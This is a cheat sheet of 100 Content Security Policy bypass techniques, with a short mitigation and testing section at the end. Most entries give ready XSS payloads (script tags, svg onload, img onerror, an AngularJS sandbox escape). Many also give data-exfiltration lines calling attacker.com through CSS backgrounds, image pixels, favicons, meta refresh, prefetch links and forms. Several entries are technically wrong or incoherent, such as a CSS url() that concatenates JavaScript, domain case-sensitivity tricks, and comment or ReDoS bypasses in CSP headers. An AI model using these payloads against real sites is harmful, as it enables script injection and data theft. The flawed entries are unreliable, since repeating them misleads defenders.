SECTION 1: INLINE & DEPRECATED DIRECTIVES (1-10)
1. ‘unsafe-inline’ in script-src
Bypass: <script>alert('XSS')</script>
Explanation: Allows all inline scripts without restriction. Completely defeats the purpose of CSP for script protection.
2. ‘unsafe-inline’ in style-src
Bypass: <style>body { background: url('javascript:alert(1)'); }</style>
Explanation: Permits inline CSS which can lead to data exfiltration and XSS through CSS expressions or data URLs.
3. ‘unsafe-eval’ in script-src
Bypass: eval('alert(1)') or Function('return alert(1)')()
Explanation: Allows dynamic code execution through eval, setTimeout with string arguments, and similar dangerous functions.
4. Missing script-src directive
Bypass: Falls back to default-src; if missing, allows any script Explanation: CSP inheritance through default-src can be bypassed if specifically restrictive policies are missing.
5. Missing style-src directive
Bypass: <link rel="stylesheet" href="attacker.com/evil.css">
Explanation: External stylesheets can be loaded freely if style-src isn’t explicitly defined, enabling CSS exfiltration attacks.
6. object-src not restricted
Bypass: <object data="javascript:alert(1)"></object> or <embed src="evil.swf">
Explanation: Flash and other plugins can execute arbitrary code if not restricted by object-src.
7. Missing frame-src/child-src
Bypass: <iframe src="javascript:alert(1)"></iframe>
Explanation: Frames can execute inline JavaScript or load untrusted content without restriction.
8. Missing form-action
Bypass: <form action="attacker.com"><input type="hidden" name="data" value="steal"></form> with auto-submit
Explanation: Forms can POST to attacker-controlled domains to exfiltrate data.
9. Missing base-uri
Bypass: <base href="attacker.com/"> followed by relative script paths
Explanation: Base URL can be changed to load all relative resources from attacker domain.
10. report-uri only (no enforcement)
Bypass: Any XSS works; CSP only reports violations without blocking Explanation: Using report-only mode doesn’t actually block attacks, only logs them.
SECTION 2: WILDCARD & DOMAIN BYPASSES (11-25)
11. Wildcard domain (*.example.com)
Bypass: Exploit subdomain under attacker control (attacker.example.com) Explanation: Subdomains may not be as trusted as main domain; attacker can take over or exploit subdomain takeover.
12. Overly broad CDN whitelisting (*.cloudfront.net)
Bypass: Upload file to any CloudFront distribution or exploit open S3 bucket Explanation: Trusting entire CDN provider allows attacker to use any distribution for payload delivery.
13. JSONP endpoint on whitelisted domain
Bypass: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
Explanation: JSONP endpoints execute attacker-controlled code wrapped in function calls on the whitelisted domain.
14. User-controlled subdomain
Bypass: Attacker registers or takes over subdomain (user.attacker.example.com) Explanation: If CSP whitelists user.*.example.com, attacker can control one subdomain to serve scripts.
15. Publicly accessible CDN bucket
Bypass: Upload JavaScript to public AWS S3 / Google Cloud Storage bucket listed in CSP Explanation: If write permissions aren’t properly restricted, attacker uploads malicious script directly.
16. GitHub Pages subdomain (*.github.io)
Bypass: Create GitHub Pages site on attacker GitHub account; CSP allows it Explanation: Many organizations whitelist GitHub Pages; attacker creates malicious page there.
17. Heroku app domain (*.herokuapp.com)
Bypass: Deploy attacker app on free Heroku account with CSP-whitelisted domain Explanation: Free hosting platforms with wildcard patterns enable easy exploitation.
18. Google APIs endpoint with old libraries
Bypass: Load AngularJS < 1.6.0 from https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js Explanation: Vulnerable library versions on whitelisted CDN can be exploited for sandbox escapes.
19. Wildcard subdomain with user input
Bypass: Control subdomain through user profile/settings, then reference it in CSP Explanation: If user can control subdomain creation, they can self-host malicious content.
20. Multiple wildcard domains
Bypass: Combine partial wildcards like .cdn. to match more domains Explanation: Overly complex wildcard patterns can inadvertently match attacker-controlled domains.
21. TLD wildcard mistake
Bypass: Policy allows *.com accidentally, matching attacker.com
Explanation: Typos in policy configuration can make policies too permissive.
22. Protocol-less URL whitelist
Bypass: If example.com whitelisted without protocol, http:// may be allowed when https:// intended
Explanation: Missing protocol specification allows both http and https, including insecure variants.
23. Internationalized domain names (IDN)
Bypass: Register lookalike domain using different character encodings Explanation: Unicode homoglyphs can bypass string matching in CSP policies.
24. Case-sensitivity bypass
Bypass: Policy checks Example.com, attacker uses EXAMPLE.COM or ExAmPlE.com
Explanation: Some implementations don’t normalize domains to lowercase properly.
25. Port number in whitelist confusion
Bypass: Policy allows example.com:8080 but attacker uses different port or no port
Explanation: Port specification inconsistencies can allow bypasses.
SECTION 3: NONCE & HASH BYPASSES (26-35)
26. Nonce reuse across requests
Bypass: Capture nonce from one page load, reuse in attack on same session Explanation: If nonce isn’t regenerated per request, attacker can replay it.
27. Nonce in static file
Bypass: If nonce is hardcoded in static HTML instead of dynamic, use same nonce for payload Explanation: Nonces must be cryptographically random and unique per request.
28. Weak random number generation
Bypass: Predict/brute force nonce before using it in attack script Explanation: Using Math.random() or sequential values instead of crypto-grade RNG.
29. Nonce stored in localStorage
Bypass: Access localStorage, extract nonce, use in JavaScript payload Explanation: JavaScript-accessible nonces defeat CSP’s purpose of preventing XSS.
30. Hash collision attacks
Bypass: Find different script content that produces same SHA hash as whitelisted script Explanation: Theoretical but possible with weak hash algorithms or short content.
31. Nonce value in page source
Bypass: View page source, extract nonce value, use in script injection Explanation: If nonce is visible to attacker, it defeats protection.
32. Multiple nonces issued
Bypass: If multiple nonces are valid simultaneously, capture any and use it Explanation: Poor nonce lifecycle management allows multiple valid values.
33. Nonce escaping bypass
Bypass: If nonce contains special characters, escape them to break out: "><script>alert(1)</script><a "
Explanation: Improper HTML escaping of nonce values allows attribute breakout.
34. Hash of attacker content
Bypass: Generate hash of your own script, if CSP allows that hash value Explanation: Requires knowing whitelist, but attacker can calculate hashes of payloads.
35. Timing attacks on nonce validation
Bypass: Use timing differences to deduce nonce character by character Explanation: Inefficient nonce comparison can leak information.
SECTION 4: DOM-BASED & MUTATION XSS (36-50)
36. innerHTML with user input
Bypass: element.innerHTML = userInput + "<script>alert(1)</script>"
Explanation: Even with CSP, DOM APIs like innerHTML bypass script-src when scripts are injected post-load.
37. DOM Clobbering attack
Bypass: Create element with id matching script variable name: <div id="Config"></div>
Explanation: Attacker controls objects referenced by script, changing behavior.
38. JavaScript URL in href
Bypass: <a href="javascript:alert(1)">Click me</a>
Explanation: If script-src blocks inline, but href isn’t restricted, javascript: URLs execute.
39. SVG event handlers
Bypass: <svg onload="alert(1)"></svg>
Explanation: SVG allows inline event handlers even when script-src is restrictive.
40. img onerror handler
Bypass: <img src=x onerror="alert(1)">
Explanation: Event handlers on img tags can execute code.
41. Body onload event
Bypass: <body onload="alert(1)">
Explanation: Event attributes on structural elements bypass script-src.
42. Form action hijacking
Bypass: <form action="attacker.com"><input></form> auto-submits
Explanation: Without form-action CSP, forms can exfiltrate data.
43. Mutation XSS (mXSS)
Bypass: Inject: <svg><svg onload=alert(1)></svg></svg>; browser normalizes to working payload
Explanation: Browser HTML parsing can transform invalid HTML into executable XSS.
44. Font data URL exfiltration
Bypass: <style>@font-face { src: url("data:font/woff2;base64,"); }</style>
Explanation: Custom fonts can encode/exfiltrate data through font definitions.
45. CSS generated content
Bypass: <style>.class::after { content: url("data:image/svg+xml,<svg onload=alert(1)>"); }</style>
Explanation: CSS content property can load SVG with event handlers.
46. Object property pollution
Bypass: window.__proto__.alertFunc = alert; window.config.__proto__.isAdmin = true;
Explanation: Prototype pollution allows overriding trusted variables.
47. Regex bypass in DOM verification
Bypass: If code checks if (/eval/.test(code)) but attacker uses eval + '' or encoding
Explanation: Weak string matching in client-side filters.
48. Unicode normalization bypass
Bypass: Use different Unicode representations of same character
Explanation: \u0065val executes same as eval; filters using string comparison fail.
49. Postmessage abuse without validation
Bypass: window.parent.postMessage({code: "alert(1)"}, "*"); receiver doesn’t validate origin
Explanation: Cross-frame communication without origin checking bypasses CSP boundary.
50. Service Worker interception
Bypass: Service Worker intercepts requests, modifies responses to include inline scripts Explanation: Service Workers can transform CSP-compliant content into XSS.
SECTION 5: FILE UPLOAD & PARSER BYPASSES (51-65)
51. Direct file upload to whitelisted CDN
Bypass: Upload shell.js to cdn.example.com, reference as <script src="cdn.example.com/shell.js">
Explanation: If write permissions on CDN aren’t restricted, attacker uploads executable JavaScript.
52. File upload with double extension
Bypass: Upload payload.php.js, server treats as JavaScript
Explanation: Inconsistent MIME type detection between CSP and server.
53. Null byte injection in filename
Bypass: Upload payload.php%00.js, bypasses PHP filter but loads as JS
Explanation: Null byte truncation bypasses extension validation.
54. Polyglot file (valid image + JavaScript)
Bypass: Create file valid as both PNG and JavaScript; upload as image, reference as script
Explanation: <script src="image.png"></script> loads if file is polyglot.
55. SVG file with embedded JavaScript
Bypass: Upload image.svg containing <script>alert(1)</script>
Explanation: SVG is text-based; when loaded via <img> or <object>, script can execute.
56. PDF with embedded JavaScript
Bypass: Upload malicious PDF to whitelisted domain Explanation: PDF viewers can execute JavaScript; if PDF loaded in iframe, XSS possible.
57. CSV/Excel injection via file upload
Bypass: Upload malicious CSV that when opened, triggers formula execution Explanation: Not direct CSP bypass but social engineering combined with malicious file.
58. Archive file extraction
Bypass: Upload ZIP containing JavaScript; server auto-extracts to uploads/shell.js
Explanation: If server automatically extracts archives, executable files appear.
59. Temporary file race condition
Bypass: Exploit window between file upload and file deletion Explanation: Temporary files at predictable paths before being cleaned up.
60. Symlink attack on file upload
Bypass: Create symlink to system files or other domains during upload Explanation: If file permissions allow, attacker creates links to sensitive files.
61. File upload race condition with redirect
Bypass: Upload file, immediately request it before security scan completes Explanation: File security checks run asynchronously; exploit timing gap.
62. Zip slip vulnerability
Bypass: Upload ZIP with path traversal: ../../../var/www/html/shell.js
Explanation: Improper path validation during extraction allows writing outside intended directory.
63. Absolute path file write
Bypass: Upload file with absolute path in name to write outside webroot Explanation: If upload handler doesn’t strip absolute paths.
64. NTFS alternate data stream
Bypass: Upload file.jpg::$DATA on Windows; write hidden JavaScript
Explanation: Windows allows multiple data streams per file; attacker writes to alternate stream.
65. Content-Type mismatch
Bypass: Upload JavaScript file with Content-Type: image/png header
Explanation: Server trusts Content-Type header instead of validating actual content.
SECTION 6: JAVASCRIPT FRAMEWORK BYPASSES (66-80)
66. AngularJS < 1.6.0 sandbox escape
Bypass: ` {{‘a’.constructor.prototype.charAt=String.fromCharCode;alert(1)}} ` in AngularJS expression Explanation: Versions before 1.6.0 had exploitable sandbox allowing prototype access.
67. Vue.js v-html with XSS
Bypass: <div v-html="userInput"></div> where userInput contains HTML/JS
Explanation: v-html renders raw HTML without escaping, allows XSS.
68. React innerHTML abuse
Bypass: dangerouslySetInnerHTML= {{__html: userInput}}
Explanation: Explicit unsafe React API bypasses CSP.
69. jQuery html() method
Bypass: $('#target').html(userInput) with script tags
Explanation: jQuery’s html() method inserts HTML but doesn’t execute scripts (newer versions), but can trigger event handlers.
70. Template injection in Handlebars
Bypass: ` {{#if (function(){alert(1)})}} ` - exploits function handling Explanation: Template engines can be abused if user input reaches template context.
71. Pug/Jade template escape
Bypass: !{userInput} unescaped output in Pug template
Explanation: Template unescaping operators allow arbitrary HTML injection.
72. EJS tag confusion
Bypass: <%= userInput %> escaped, but <%- userInput %> unescaped
Explanation: EJS has different escaping levels; wrong function used allows XSS.
73. Mustache triple-stache (unescaped)
Bypass: ` {{{userInput}}} ` renders HTML without escaping Explanation: Triple-stache in Mustache bypasses HTML escaping.
74. Thymeleaf expression injection
Bypass: [[${payload}]] with inline expressions
Explanation: If user input reaches expression evaluator, code execution possible.
75. Prototype pollution in framework
Bypass: Overwrite framework’s security functions through prototype chain
Explanation: Array.prototype.constructor = {...} can pollute all framework code.
76. Framework version detection and exploitation
Bypass: Detect framework version, exploit known vulnerabilities in that version Explanation: Using fingerprinting to target version-specific bypasses.
77. Unsafe deserialization
Bypass: If framework deserializes JSON, inject malicious object structure Explanation: Object.assign() or similar can be exploited to gain execution.
78. Require/import hijacking
Bypass: Override module resolution to load attacker’s code Explanation: If module loading isn’t protected, load fake module with XSS.
79. Webpack/Build tool bypass
Bypass: Exploit webpack config to inject code into bundle at build time Explanation: If build pipeline accessible, inject code directly into bundles.
80. Framework configuration object injection
Bypass: Modify framework configuration object at runtime to disable XSS protection Explanation: If configuration object stored in modifiable location, change CSP bypass settings.
SECTION 7: DATA EXFILTRATION WITHOUT EXECUTING CODE (81-90)
81. CSS Background Image Exfiltration
Bypass: <style>.class { background: url("https://attacker.com/?data=" + btoa(document.body.innerHTML)); }</style>
Explanation: CSS can load URLs that include query parameters with stolen data.
82. DNS Exfiltration via CSS
Bypass: <style>@import url("http://stolen-data.attacker.com/");</style>
Explanation: DNS lookup for imported URL leaks data in subdomain.
83. Pixel tracking
Bypass: <img src="https://attacker.com/track?data=stolen" /> or <img src="x" onerror="this.src='...?data=stolen'">
Explanation: Image requests to attacker domain exfiltrate data in URL.
84. Script source leak
Bypass: Load script that returns 404, error message contains sensitive info Explanation: HTTP status messages or error responses leak information.
85. CSS Content-Length timing attack
Bypass: Load CSS files of different lengths; timing differences leak information Explanation: Response timing can be analyzed to deduce binary data.
86. WebRTC IP leak
Bypass: Even with CSP, WebRTC can leak real IP addresses Explanation: WebRTC operates outside CSP scope in many cases.
87. Favicon exfiltration
Bypass: Change favicon to attacker domain: <link rel="icon" href="https://attacker.com/?data=secrets">
Explanation: Favicon requests send same-origin requests with cookies.
88. Form pre-filling with leaked data
Bypass: Pre-fill form with stolen data, wait for user to submit Explanation: Combines XSS data gathering with social engineering.
89. Meta refresh to attacker domain
Bypass: <meta http-equiv="refresh" content="5; url=https://attacker.com/?data=sensitive">
Explanation: Redirects user with data in URL before CSP enforces.
90. Link prefetch attribute
Bypass: <link rel="prefetch" href="https://attacker.com/?data=stolen" />
Explanation: Prefetch makes request that can include sensitive data.
SECTION 8: ADVANCED TECHNIQUES (91-100)
91. Service Worker registration bypass
Bypass: Register service worker: /sw.js intercepts all future requests, modifies CSP
Explanation: Service Worker can intercept responses and remove CSP headers.
92. Cache poisoning combined with CSP bypass
Bypass: Poison CDN cache with malicious version of script at whitelisted domain Explanation: If cache key doesn’t include security context, attacker poisons cache.
93. HTTP Parameter Pollution (HPP)
Bypass: Use multiple values for same parameter; different systems parse differently Explanation: CSP filter sees safe value, application sees malicious value.
94. Unicode escaping in CSP directive
Bypass: Policy: script-src 'self' \u0068ttp://attacker.com - unusual encoding
Explanation: CSP parser might normalize Unicode differently than browser.
95. Byte-order mark (BOM) bypass
Bypass: Prepend BOM to JavaScript file; affects parsing of first bytes Explanation: Different handling of BOM in CSP validation vs execution.
96. Charset/encoding confusion
Bypass: Serve malicious content with different charset than CSP expects Explanation: Character encoding differences between validation and execution.
97. Comment bypass in CSP header
Bypass: Policy: script-src 'self' /*attacker.com*/ - comment tricks parser
Explanation: CSP header parser might interpret comments as part of directive.
98. Regex DoS in CSP validation
Bypass: Craft CSP policy that causes ReDoS in validator; timeout allows anything Explanation: Performance issues in CSP checker lead to bypass under timeout.
99. HTTP request smuggling via CSP
Bypass: Craft request that CSP validator and backend parse differently Explanation: Request smuggling causes different security decisions at different layers.
100. Modern API Misuse (Trusted Types bypass)
Bypass: If Trusted Types implemented incorrectly, bypass TT with new TrustedHTML()
Explanation: If TrustedTypes policy is loose or unenforced, attacker creates trusted values.
MITIGATION STRATEGIES
Best Practices:
- Use nonce-based CSP with cryptographically strong random values
- Never use ‘unsafe-inline’ or ‘unsafe-eval’
- Avoid wildcard domains (
*.example.com); whitelist specific subdomains - Use hash-based CSP for static, immutable content
- Implement strict Content-Security-Policy (not just report-only)
- Regular security audits of CSP policy
- Monitor CSP violations and respond to patterns
- Update frameworks to versions without known sandbox escapes
- Properly configure CDNs - restrict upload permissions
- Use SRI (Subresource Integrity) for third-party scripts
- Implement frame-ancestors to prevent clickjacking
- Use form-action to restrict form submissions
- Regularly test CSP with security tools like CSP Evaluator
- Minimize DOM manipulation of user input
- Use modern, secure frameworks with built-in XSS protection
CSP HEADER EXAMPLES
Permissive (Bad - Don’t Use):
Content-Security-Policy: script-src 'self' 'unsafe-inline' *.example.com
Balanced (Better):
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://cdn.example.com;
style-src 'self' 'nonce-{random}' https://fonts.googleapis.com;
img-src 'self' https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
form-action 'self';
frame-ancestors 'none';
base-uri 'self'
Strict (Best):
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self';
font-src 'self';
connect-src 'self';
form-action 'self';
frame-ancestors 'none';
base-uri 'self';
upgrade-insecure-requests;
TESTING TOOLS
- CSP Evaluator: https://csp-evaluator.withgoogle.com/
- CSP Scanner: https://github.com/mrz1836/csp-test
- Burp Suite CSP extension
- OWASP ZAP
- CSP Header Testing: https://csp.withgoogle.com/
This guide is for educational and authorized security testing purposes only.